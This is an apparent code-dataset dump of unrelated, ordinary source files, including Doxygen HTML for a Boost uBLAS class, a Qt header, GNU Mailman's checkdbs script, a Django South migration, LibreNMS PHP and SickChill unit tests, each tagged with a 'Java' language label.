<tr bgcolor="#f0f0f0"><td><b>reverse_iterator</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a44062e23411cf30e80dd25d500cdfe2e">serialize</a>(Archive &ar, const unsigned int)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a1b9ef7522219d74ebd27bab25e4b6841">size</a>() const </td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>size_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>storage_category</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#aedce8a2ea66b86b1e3efb21bba7be0c5">swap</a>(vector &v)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a7ec2565da7f04f5f8ba42785be772df7">swap</a>(vector &v1, vector &v2)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td><code> [friend]</code></td></tr>
<tr bgcolor="#f0f0f0"><td><b>type_category</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector__container.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>ublas_expression</b>() (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1ublas__expression.html">boost::numeric::ublas::ublas_expression< vector< T, A > ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1ublas__expression.html">boost::numeric::ublas::ublas_expression< vector< T, A > ></a></td><td><code> [protected]</code></td></tr>
<tr bgcolor="#f0f0f0"><td><b>value_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a477a17fb1a95d016e4465de7ae9f7bd0">vector</a>()</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#ae75b77993f678047c69b985f8450edc0">vector</a>(size_type size)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td><code> [explicit]</code></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#aa2cdc17765d1689ac52d261dcc123724">vector</a>(size_type size, const array_type &data)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a2c095b29597c40a1695c26486f34edba">vector</a>(const array_type &data)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a812bdffb89c10f69cc9af3963cfb02ea">vector</a>(size_type size, const value_type &init)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a18dae81ff4bcd46986e99f58764e773b">vector</a>(const vector &v)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html#a7b0b649369be331ad80513f220b086dc">vector</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>vector_temporary_type</b> typedef (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1vector.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>~ublas_expression</b>() (defined in <a class="el" href="classboost_1_1numeric_1_1ublas_1_1ublas__expression.html">boost::numeric::ublas::ublas_expression< vector< T, A > ></a>)</td><td><a class="el" href="classboost_1_1numeric_1_1ublas_1_1ublas__expression.html">boost::numeric::ublas::ublas_expression< vector< T, A > ></a></td><td><code> [protected]</code></td></tr>
</table></div>
<hr size="1"/><address style="text-align: right;"><small>Generated on Sun Jul 4 20:31:07 2010 for ublas by
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.6.1 </small></address>
</body>
</html>
| Java |
#ifndef _UI_UTILS_H
#define _UI_UTILS_H
namespace QSanUiUtils {
// This is in no way a generic diation fuction. It is some dirty trick that
// produces a shadow image for a pixmap whose foreground mask is binaryImage
QImage produceShadow(const QImage &image, QColor shadowColor, int radius, double decade);
void makeGray(QPixmap &pixmap);
namespace QSanFreeTypeFont {
int *loadFont(const QString &fontPath);
QString resolveFont(const QString &fontName);
// @param painter
// Device to be painted on
// @param font
// Pointer returned by loadFont used to index a font
// @param text
// Text to be painted
// @param fontSize [IN, OUT]
// Suggested width and height of each character in pixels. If the
// bounding box cannot contain the text using the suggested font
// size, font size may be shrinked. The output value will be the
// actual font size used.
// @param boundingBox
// Text will be painted in the center of the bounding box on the device
// @param orient
// Suggest whether the text is laid out horizontally or vertically.
// @return True if succeed.
bool paintQString(QPainter *painter, QString text,
int *font, QColor color,
QSize &fontSize, int spacing, int weight, QRect boundingBox,
Qt::Orientation orient, Qt::Alignment align);
// Currently, we online support horizotal layout for multiline text
bool paintQStringMultiLine(QPainter *painter, QString text,
int *font, QColor color,
QSize &fontSize, int spacing, QRect boundingBox,
Qt::Alignment align);
}
}
#endif
| Java |
# import re, os
# from jandy.profiler import Profiler
#
#
# class Base:
# def __init__(self):
# print('init call')
#
# def compile(self, str):
# re.compile(str)
#
# #
# p = Profiler("12K", "localhost:3000", 1)
# try:
# p.start()
# b = Base()
# b.compile("foo|bar")
# print("Hello World!!\n")
# finally:
# p.done()
#
#
# #try:
# # b.print_usage()
# #except e.MyException as e:
# # raise ValueError('failed')
| Java |
# Copyright (C) 1998-2014 by the Free Software Foundation, Inc.
#
# This file is part of GNU Mailman.
#
# GNU Mailman is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# GNU Mailman is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along with
# GNU Mailman. If not, see <http://www.gnu.org/licenses/>.
import sys
import time
import optparse
from email.Charset import Charset
from mailman import MailList
from mailman import Utils
from mailman.app.requests import handle_request
from mailman.configuration import config
from mailman.core.i18n import _
from mailman.email.message import UserNotification
from mailman.initialize import initialize
from mailman.interfaces.requests import IListRequests, RequestType
from mailman.version import MAILMAN_VERSION
# Work around known problems with some RedHat cron daemons
import signal
signal.signal(signal.SIGCHLD, signal.SIG_DFL)
NL = u'\n'
now = time.time()
def parseargs():
parser = optparse.OptionParser(version=MAILMAN_VERSION,
usage=_("""\
%prog [options]
Check for pending admin requests and mail the list owners if necessary."""))
parser.add_option('-C', '--config',
help=_('Alternative configuration file to use'))
opts, args = parser.parse_args()
if args:
parser.print_help()
print(_('Unexpected arguments'), file=sys.stderr)
sys.exit(1)
return opts, args, parser
def pending_requests(mlist):
# Must return a byte string
lcset = mlist.preferred_language.charset
pending = []
first = True
requestsdb = IListRequests(mlist)
for request in requestsdb.of_type(RequestType.subscription):
if first:
pending.append(_('Pending subscriptions:'))
first = False
key, data = requestsdb.get_request(request.id)
when = data['when']
addr = data['addr']
fullname = data['fullname']
passwd = data['passwd']
digest = data['digest']
lang = data['lang']
if fullname:
if isinstance(fullname, unicode):
fullname = fullname.encode(lcset, 'replace')
fullname = ' (%s)' % fullname
pending.append(' %s%s %s' % (addr, fullname, time.ctime(when)))
first = True
for request in requestsdb.of_type(RequestType.held_message):
if first:
pending.append(_('\nPending posts:'))
first = False
key, data = requestsdb.get_request(request.id)
when = data['when']
sender = data['sender']
subject = data['subject']
reason = data['reason']
text = data['text']
msgdata = data['msgdata']
subject = Utils.oneline(subject, lcset)
date = time.ctime(when)
reason = _(reason)
pending.append(_("""\
From: $sender on $date
Subject: $subject
Cause: $reason"""))
pending.append('')
# Coerce all items in pending to a Unicode so we can join them
upending = []
charset = mlist.preferred_language.charset
for s in pending:
if isinstance(s, unicode):
upending.append(s)
else:
upending.append(unicode(s, charset, 'replace'))
# Make sure that the text we return from here can be encoded to a byte
# string in the charset of the list's language. This could fail if for
# example, the request was pended while the list's language was French,
# but then it was changed to English before checkdbs ran.
text = NL.join(upending)
charset = Charset(mlist.preferred_language.charset)
incodec = charset.input_codec or 'ascii'
outcodec = charset.output_codec or 'ascii'
if isinstance(text, unicode):
return text.encode(outcodec, 'replace')
# Be sure this is a byte string encodeable in the list's charset
utext = unicode(text, incodec, 'replace')
return utext.encode(outcodec, 'replace')
def auto_discard(mlist):
# Discard old held messages
discard_count = 0
expire = config.days(mlist.max_days_to_hold)
requestsdb = IListRequests(mlist)
heldmsgs = list(requestsdb.of_type(RequestType.held_message))
if expire and heldmsgs:
for request in heldmsgs:
key, data = requestsdb.get_request(request.id)
if now - data['date'] > expire:
handle_request(mlist, request.id, config.DISCARD)
discard_count += 1
mlist.Save()
return discard_count
# Figure out epoch seconds of midnight at the start of today (or the given
# 3-tuple date of (year, month, day).
def midnight(date=None):
if date is None:
date = time.localtime()[:3]
# -1 for dst flag tells the library to figure it out
return time.mktime(date + (0,)*5 + (-1,))
def main():
opts, args, parser = parseargs()
initialize(opts.config)
for name in config.list_manager.names:
# The list must be locked in order to open the requests database
mlist = MailList.MailList(name)
try:
count = IListRequests(mlist).count
# While we're at it, let's evict yesterday's autoresponse data
midnight_today = midnight()
evictions = []
for sender in mlist.hold_and_cmd_autoresponses.keys():
date, respcount = mlist.hold_and_cmd_autoresponses[sender]
if midnight(date) < midnight_today:
evictions.append(sender)
if evictions:
for sender in evictions:
del mlist.hold_and_cmd_autoresponses[sender]
# This is the only place we've changed the list's database
mlist.Save()
if count:
# Set the default language the the list's preferred language.
_.default = mlist.preferred_language
realname = mlist.real_name
discarded = auto_discard(mlist)
if discarded:
count = count - discarded
text = _('Notice: $discarded old request(s) '
'automatically expired.\n\n')
else:
text = ''
if count:
text += Utils.maketext(
'checkdbs.txt',
{'count' : count,
'mail_host': mlist.mail_host,
'adminDB' : mlist.GetScriptURL('admindb',
absolute=1),
'real_name': realname,
}, mlist=mlist)
text += '\n' + pending_requests(mlist)
subject = _('$count $realname moderator '
'request(s) waiting')
else:
subject = _('$realname moderator request check result')
msg = UserNotification(mlist.GetOwnerEmail(),
mlist.GetBouncesEmail(),
subject, text,
mlist.preferred_language)
msg.send(mlist, **{'tomoderators': True})
finally:
mlist.Unlock()
if __name__ == '__main__':
main()
| Java |
# encoding: utf-8
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'InstanceApplication.network'
db.add_column('apply_instanceapplication', 'network', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ganeti.Network'], null=True, blank=True), keep_default=False)
def backwards(self, orm):
# Deleting field 'InstanceApplication.network'
db.delete_column('apply_instanceapplication', 'network_id')
models = {
'apply.instanceapplication': {
'Meta': {'object_name': 'InstanceApplication'},
'admin_contact_email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'null': 'True', 'blank': 'True'}),
'admin_contact_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'admin_contact_phone': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True', 'blank': 'True'}),
'applicant': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"}),
'backend_message': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'cluster': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['ganeti.Cluster']", 'null': 'True', 'blank': 'True'}),
'comments': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
'cookie': ('django.db.models.fields.CharField', [], {'default': "'AYkWSa4Fr2'", 'max_length': '255'}),
'disk_size': ('django.db.models.fields.IntegerField', [], {}),
'filed': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'hostname': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'hosts_mail_server': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'job_id': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'last_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'memory': ('django.db.models.fields.IntegerField', [], {}),
'network': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['ganeti.Network']", 'null': 'True', 'blank': 'True'}),
'operating_system': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'organization': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['apply.Organization']"}),
'status': ('django.db.models.fields.IntegerField', [], {}),
'vcpus': ('django.db.models.fields.IntegerField', [], {})
},
'apply.organization': {
'Meta': {'object_name': 'Organization'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'phone': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'users': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': "orm['auth.User']", 'null': 'True', 'blank': 'True'}),
'website': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'})
},
'apply.sshpublickey': {
'Meta': {'object_name': 'SshPublicKey'},
'comment': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'fingerprint': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'key': ('django.db.models.fields.TextField', [], {}),
'key_type': ('django.db.models.fields.CharField', [], {'max_length': '12'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['auth.User']"})
},
'auth.group': {
'Meta': {'object_name': 'Group'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
'auth.permission': {
'Meta': {'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'blank': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'contenttypes.contenttype': {
'Meta': {'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
'ganeti.cluster': {
'Meta': {'object_name': 'Cluster'},
'description': ('django.db.models.fields.CharField', [], {'max_length': '128', 'null': 'True', 'blank': 'True'}),
'fast_create': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}),
'hostname': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True', 'blank': 'True'}),
'port': ('django.db.models.fields.PositiveIntegerField', [], {'default': '5080'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '50', 'db_index': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True', 'blank': 'True'})
},
'ganeti.network': {
'Meta': {'object_name': 'Network'},
'cluster': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['ganeti.Cluster']"}),
'description': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'link': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'mode': ('django.db.models.fields.CharField', [], {'max_length': '64'})
}
}
complete_apps = ['apply']
| Java |
#pragma once
/*
* Nanoflann helper classes
* Copyright (C) 2019 Wayne Mogg
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "nanoflann.h"
#include "coord.h"
#include "typeset.h"
//
// TypeSet to nanoflann kd-tree adaptor class
//
class CoordTypeSetAdaptor
{
public:
CoordTypeSetAdaptor( const TypeSet<Coord>& obj ) : obj_(obj) {}
inline size_t kdtree_get_point_count() const { return obj_.size(); }
inline Pos::Ordinate_Type kdtree_get_pt(const size_t idx, const size_t dim) const
{
return dim==0 ? obj_[idx].x : obj_[idx].y;
}
template <class BBOX>
bool kdtree_get_bbox(BBOX& ) const { return false; }
const TypeSet<Coord>& obj_;
};
typedef nanoflann::KDTreeSingleIndexAdaptor<
nanoflann::L2_Simple_Adaptor<Pos::Ordinate_Type, CoordTypeSetAdaptor >,
CoordTypeSetAdaptor,
2> CoordKDTree;
| Java |
require 'uuid'
class CompassAeInstance < ActiveRecord::Base
attr_protected :created_at, :updated_at
has_tracked_status
has_many :parties, :through => :compass_ae_instance_party_roles
has_many :compass_ae_instance_party_roles, :dependent => :destroy do
def owners
where('role_type_id = ?', RoleType.compass_ae_instance_owner.id)
end
end
validates :guid, :uniqueness => true
validates :internal_identifier, :presence => {:message => 'internal_identifier cannot be blank'}, :uniqueness => {:case_sensitive => false}
def installed_engines
Rails.application.config.erp_base_erp_svcs.compass_ae_engines.map do |compass_ae_engine|
klass_name = compass_ae_engine.railtie_name.camelize
{:name => klass_name, :version => ("#{klass_name}::VERSION::STRING".constantize rescue 'N/A')}
end
end
#helpers for guid
def set_guid(guid)
self.guid = guid
self.save
end
def get_guid
self.guid
end
def setup_guid
guid = Digest::SHA1.hexdigest(Time.now.to_s + rand(10000).to_s)
set_guid(guid)
guid
end
end | Java |
<?php
/**
* LnmsCommand.php
*
* Convenience class for common command code
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* @package LibreNMS
* @link http://librenms.org
* @copyright 2019 Tony Murray
* @author Tony Murray <[email protected]>
*/
namespace App\Console;
use Illuminate\Console\Command;
use Illuminate\Validation\ValidationException;
use Symfony\Component\Console\Exception\InvalidArgumentException;
use Validator;
abstract class LnmsCommand extends Command
{
protected $developer = false;
/**
* Create a new command instance.
*
* @return void
*/
public function __construct()
{
parent::__construct();
$this->setDescription(__('commands.' . $this->getName() . '.description'));
}
public function isHidden()
{
$env = $this->getLaravel() ? $this->getLaravel()->environment() : getenv('APP_ENV');
return $this->hidden || ($this->developer && $env !== 'production');
}
/**
* Adds an argument. If $description is null, translate commands.command-name.arguments.name
* If you want the description to be empty, just set an empty string
*
* @param string $name The argument name
* @param int|null $mode The argument mode: InputArgument::REQUIRED or InputArgument::OPTIONAL
* @param string $description A description text
* @param string|string[]|null $default The default value (for InputArgument::OPTIONAL mode only)
*
* @throws InvalidArgumentException When argument mode is not valid
*
* @return $this
*/
public function addArgument($name, $mode = null, $description = null, $default = null)
{
// use a generated translation location by default
if (is_null($description)) {
$description = __('commands.' . $this->getName() . '.arguments.' . $name);
}
parent::addArgument($name, $mode, $description, $default);
return $this;
}
/**
* Adds an option. If $description is null, translate commands.command-name.arguments.name
* If you want the description to be empty, just set an empty string
*
* @param string $name The option name
* @param string|array|null $shortcut The shortcuts, can be null, a string of shortcuts delimited by | or an array of shortcuts
* @param int|null $mode The option mode: One of the InputOption::VALUE_* constants
* @param string $description A description text
* @param string|string[]|int|bool|null $default The default value (must be null for InputOption::VALUE_NONE)
*
* @throws InvalidArgumentException If option mode is invalid or incompatible
*
* @return $this
*/
public function addOption($name, $shortcut = null, $mode = null, $description = null, $default = null)
{
// use a generated translation location by default
if (is_null($description)) {
$description = __('commands.' . $this->getName() . '.options.' . $name);
}
parent::addOption($name, $shortcut, $mode, $description, $default);
return $this;
}
/**
* Validate the input of this command. Uses Laravel input validation
* merging the arguments and options together to check.
*
* @param array $rules
* @param array $messages
*/
protected function validate($rules, $messages = [])
{
$validator = Validator::make($this->arguments() + $this->options(), $rules, $messages);
try {
$validator->validate();
} catch (ValidationException $e) {
collect($validator->getMessageBag()->all())->each(function ($message) {
$this->error($message);
});
exit(1);
}
}
}
| Java |
package com.example.mathsolver;
import android.annotation.TargetApi;
import android.app.Fragment;
import android.os.Build;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
@TargetApi(Build.VERSION_CODES.HONEYCOMB)
public class AreaFragmentRight extends Fragment {
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// TODO Auto-generated method stub
return inflater.inflate(R.layout.area_right, container, false);
}
}
| Java |
# coding=utf-8
# This file is part of SickChill.
#
# URL: https://sickchill.github.io
# Git: https://github.com/SickChill/SickChill.git
#
# SickChill is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# SickChill is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with SickChill. If not, see <http://www.gnu.org/licenses/>.
"""
Test shows
"""
# pylint: disable=line-too-long
from __future__ import print_function, unicode_literals
import os
import sys
import unittest
sys.path.insert(1, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../../lib')))
sys.path.insert(1, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..')))
import sickbeard
import six
from sickbeard.common import Quality
from sickbeard.tv import TVShow
from sickchill.helper.exceptions import MultipleShowObjectsException
from sickchill.show.Show import Show
class ShowTests(unittest.TestCase):
"""
Test shows
"""
def test_find(self):
"""
Test find tv shows by indexer_id
"""
sickbeard.QUALITY_DEFAULT = Quality.FULLHDTV
sickbeard.showList = []
show123 = TestTVShow(0, 123)
show456 = TestTVShow(0, 456)
show789 = TestTVShow(0, 789)
shows = [show123, show456, show789]
shows_duplicate = shows + shows
test_cases = {
(False, None): None,
(False, ''): None,
(False, '123'): None,
(False, 123): None,
(False, 12.3): None,
(True, None): None,
(True, ''): None,
(True, '123'): None,
(True, 123): show123,
(True, 12.3): None,
(True, 456): show456,
(True, 789): show789,
}
unicode_test_cases = {
(False, ''): None,
(False, '123'): None,
(True, ''): None,
(True, '123'): None,
}
for tests in test_cases, unicode_test_cases:
for ((use_shows, indexer_id), result) in six.iteritems(tests):
if use_shows:
self.assertEqual(Show.find(shows, indexer_id), result)
else:
self.assertEqual(Show.find(None, indexer_id), result)
with self.assertRaises(MultipleShowObjectsException):
Show.find(shows_duplicate, 456)
def test_validate_indexer_id(self):
"""
Tests if the indexer_id is valid and if so if it returns the right show
"""
sickbeard.QUALITY_DEFAULT = Quality.FULLHDTV
sickbeard.showList = []
show123 = TestTVShow(0, 123)
show456 = TestTVShow(0, 456)
show789 = TestTVShow(0, 789)
sickbeard.showList = [
show123,
show456,
show789,
]
invalid_show_id = ('Invalid show ID', None)
indexer_id_list = [
None, '', '', '123', '123', '456', '456', '789', '789', 123, 456, 789, ['123', '456'], ['123', '456'],
[123, 456]
]
results_list = [
invalid_show_id, invalid_show_id, invalid_show_id, (None, show123), (None, show123), (None, show456),
(None, show456), (None, show789), (None, show789), (None, show123), (None, show456), (None, show789),
invalid_show_id, invalid_show_id, invalid_show_id
]
self.assertEqual(
len(indexer_id_list), len(results_list),
'Number of parameters ({0:d}) and results ({1:d}) does not match'.format(len(indexer_id_list), len(results_list))
)
for (index, indexer_id) in enumerate(indexer_id_list):
self.assertEqual(Show._validate_indexer_id(indexer_id), results_list[index]) # pylint: disable=protected-access
class TestTVShow(TVShow):
"""
A test `TVShow` object that does not need DB access.
"""
def __init__(self, indexer, indexer_id):
super(TestTVShow, self).__init__(indexer, indexer_id)
def loadFromDB(self):
"""
Override TVShow.loadFromDB to avoid DB access during testing
"""
pass
if __name__ == '__main__':
print('=====> Testing {0}'.format(__file__))
SUITE = unittest.TestLoader().loadTestsFromTestCase(ShowTests)
unittest.TextTestRunner(verbosity=2).run(SUITE)
| Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.